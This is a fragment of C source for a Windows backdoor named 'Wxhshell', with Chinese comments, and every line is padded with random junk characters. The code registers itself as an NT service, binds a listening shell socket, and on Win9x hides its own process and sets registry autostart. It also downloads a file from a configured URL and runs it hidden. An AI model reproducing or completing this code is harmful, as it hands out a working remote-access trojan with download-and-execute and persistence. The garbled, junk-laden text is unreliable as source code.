ptQ2$
DWORD BasePriority; V>{< pS
ULONG UniqueProcessId; t[^$F,
ULONG InheritedFromUniqueProcessId; ~3&{`9Y
} PROCESS_BASIC_INFORMATION; %By Pwu:f
~4~`bT9
PROCNTQSIP NtQueryInformationProcess; yYG<tUG;
Jup)m/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =6%oW2E\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 22\!Z2@T/
R@vcS=m7
HANDLE hProcess; kBu{ bxL
PROCESS_BASIC_INFORMATION pbi; oaoTd$/5
/R)wM#&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >[}oH2oi
if(NULL == hInst ) return 0; hx;f/EPx
OrY[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Co-!jM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Mx(|)WkL
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8K 3dwoT
M([#Py9h
if (!NtQueryInformationProcess) return 0; o96C^y{~S
"W|A^@r}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wVf~FssN
if(!hProcess) return 0; d$dy6{/YD
ahBqYAK9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V$^jlWdR
\;LDE`Q_x
CloseHandle(hProcess); {zdMmpQF
c'2d+*[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rqdwQ
if(hProcess==NULL) return 0; ~wc:/UM|
uV/5f#)
HMODULE hMod; {T){!UVp!
char procName[255]; -yYdj1y;
unsigned long cbNeeded;
N;7/C
#(8|9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qUe
_B
pSZ2>^";
CloseHandle(hProcess); 6cQgp]%
4M'>oa
if(strstr(procName,"services")) return 1; // 以服务启动 op,L3:R\Z
+6m.f,14q
return 0; // 注册表启动 o4(*nz
} N.F5)04
/7Q|D sa
// 主模块 -%K!Ra\W
int StartWxhshell(LPSTR lpCmdLine) 6 SSDc/
{ 3a/n/_D
SOCKET wsl; Y.tx$%
BOOL val=TRUE; 4w4B\Na>l
int port=0; YO6BzS/~
struct sockaddr_in door; cTqkM@S
cNs'GfD}
if(wscfg.ws_autoins) Install(); 1J@Iekat
vqf$("
port=atoi(lpCmdLine); tYS4"Nfb+
U,
6iT
if(port<=0) port=wscfg.ws_port; +n3I\7G>
s='+[*&&
WSADATA data; DL]tg[w{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pl[J!d.c
"
\$^j#o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }[*'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <=uYfi 3,
door.sin_family = AF_INET; D28`?B9(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8%@|/
door.sin_port = htons(port); OMGggg
G=dzP}B'WA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Y$9]G":
closesocket(wsl); 1v o)]ff
return 1; azcPeAe
} <N<Q9}`V
+Y\:Q<eMFg
if(listen(wsl,2) == INVALID_SOCKET) { I7f ^2
closesocket(wsl); f)I5=Ijy(
return 1; tF2"IP.
} ~5 ^Jv m
Wxhshell(wsl); 3Ob.OwA
WSACleanup(); R[WiW RfD
9g9 2eKS
return 0; 2wf&jGHs
2[E wN!IZ
} <v"o+
!e$gp(4
// 以NT服务方式启动 3} A$+PX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /
)0hsQs
{ w =^.ICyb@
DWORD status = 0; $YYWpeW
'
DWORD specificError = 0xfffffff; <hT\xBb:
^;C&
serviceStatus.dwServiceType = SERVICE_WIN32; g 7oY 1;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
%H{p&ms
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |HazM9=
serviceStatus.dwWin32ExitCode = 0; xO$P
C,
serviceStatus.dwServiceSpecificExitCode = 0; @hLkU4S
serviceStatus.dwCheckPoint = 0; Cs $5Of(
serviceStatus.dwWaitHint = 0; {]vD@)k
>1y6DC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?ukw6T
if (hServiceStatusHandle==0) return; ?Ua,ba*
S_}`'Z )
status = GetLastError(); Cj5mM[:s
if (status!=NO_ERROR) :<%bAn
{ t=_^$M,yr
serviceStatus.dwCurrentState = SERVICE_STOPPED; lQA5HzC\
serviceStatus.dwCheckPoint = 0; 50UdY9E_v}
serviceStatus.dwWaitHint = 0; #6sz@X fV
serviceStatus.dwWin32ExitCode = status; @Z)|_
serviceStatus.dwServiceSpecificExitCode = specificError; \l+v,ELX=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _03?XUKV
return; 6&3,fSP
} !,4ag1
_Hb;)9y
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8^mE<
serviceStatus.dwCheckPoint = 0; [^H2'&]
serviceStatus.dwWaitHint = 0; xn8KOwX%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jU,Xlgz(A
} =8^+M1I
OLw]BJXYaE
// 处理NT服务事件,比如:启动、停止 LiJYyp
VOID WINAPI NTServiceHandler(DWORD fdwControl) .Po"qoGy
{ _vQ52H,
switch(fdwControl) XTol|a=
{ UK`A:N2[
case SERVICE_CONTROL_STOP: *MF9_V)8V
serviceStatus.dwWin32ExitCode = 0; gGqrFh\
serviceStatus.dwCurrentState = SERVICE_STOPPED; "> uN={Iy
serviceStatus.dwCheckPoint = 0; Aoa8Q
E
serviceStatus.dwWaitHint = 0; H`EhsYYK
{ gY}In+S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hxu5Dx5![
} :Mx
return; _0/unJl`
case SERVICE_CONTROL_PAUSE: %&ejO=r
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q PH=`s
break; 6Z\ aJ
case SERVICE_CONTROL_CONTINUE: 'o$j~Mr
serviceStatus.dwCurrentState = SERVICE_RUNNING; i,Ct AbMx
break; uo F.f$%"
case SERVICE_CONTROL_INTERROGATE: ^$c#L1
C
break; |OQ]F
}; 8f@}-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T^bAO-d#
} rb?7i&-
<O#&D|EMd|
// 标准应用程序主函数 ^BsT>VSH6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *dBy<dIy
{ 3bEcKA_z(
y]9R#\P/
// 获取操作系统版本 =j7Du[?Vu
OsIsNt=GetOsVer(); dab]>% M
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]>3Y~KH(
)|gw5N4;
// 从命令行安装 6jE.X
if(strpbrk(lpCmdLine,"iI")) Install(); &OR(]Wt0
;$p !dI\-Q
// 下载执行文件 IUMv{2C
if(wscfg.ws_downexe) { Pwh}hG1sa
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fI.|QD*$b
WinExec(wscfg.ws_filenam,SW_HIDE); Y2|i> 5/|<
} $H:!3-/
Szo'[/
[R
if(!OsIsNt) { xATx2*@X2
// 如果时win9x,隐藏进程并且设置为注册表启动 ">V&{a-C4
HideProc(); (*-wiL
StartWxhshell(lpCmdLine); FW]tDGJOw
} A#U! KX
else Koa9W>!
if(StartFromService()) )e(<YST
// 以服务方式启动 A;AQw
StartServiceCtrlDispatcher(DispatchTable); mxNd
else x#{!hL
5G
// 普通方式启动 aNbS0R>l
StartWxhshell(lpCmdLine); /VR~E'Cy%
g_>&R58
return 0; y^2#;0W
}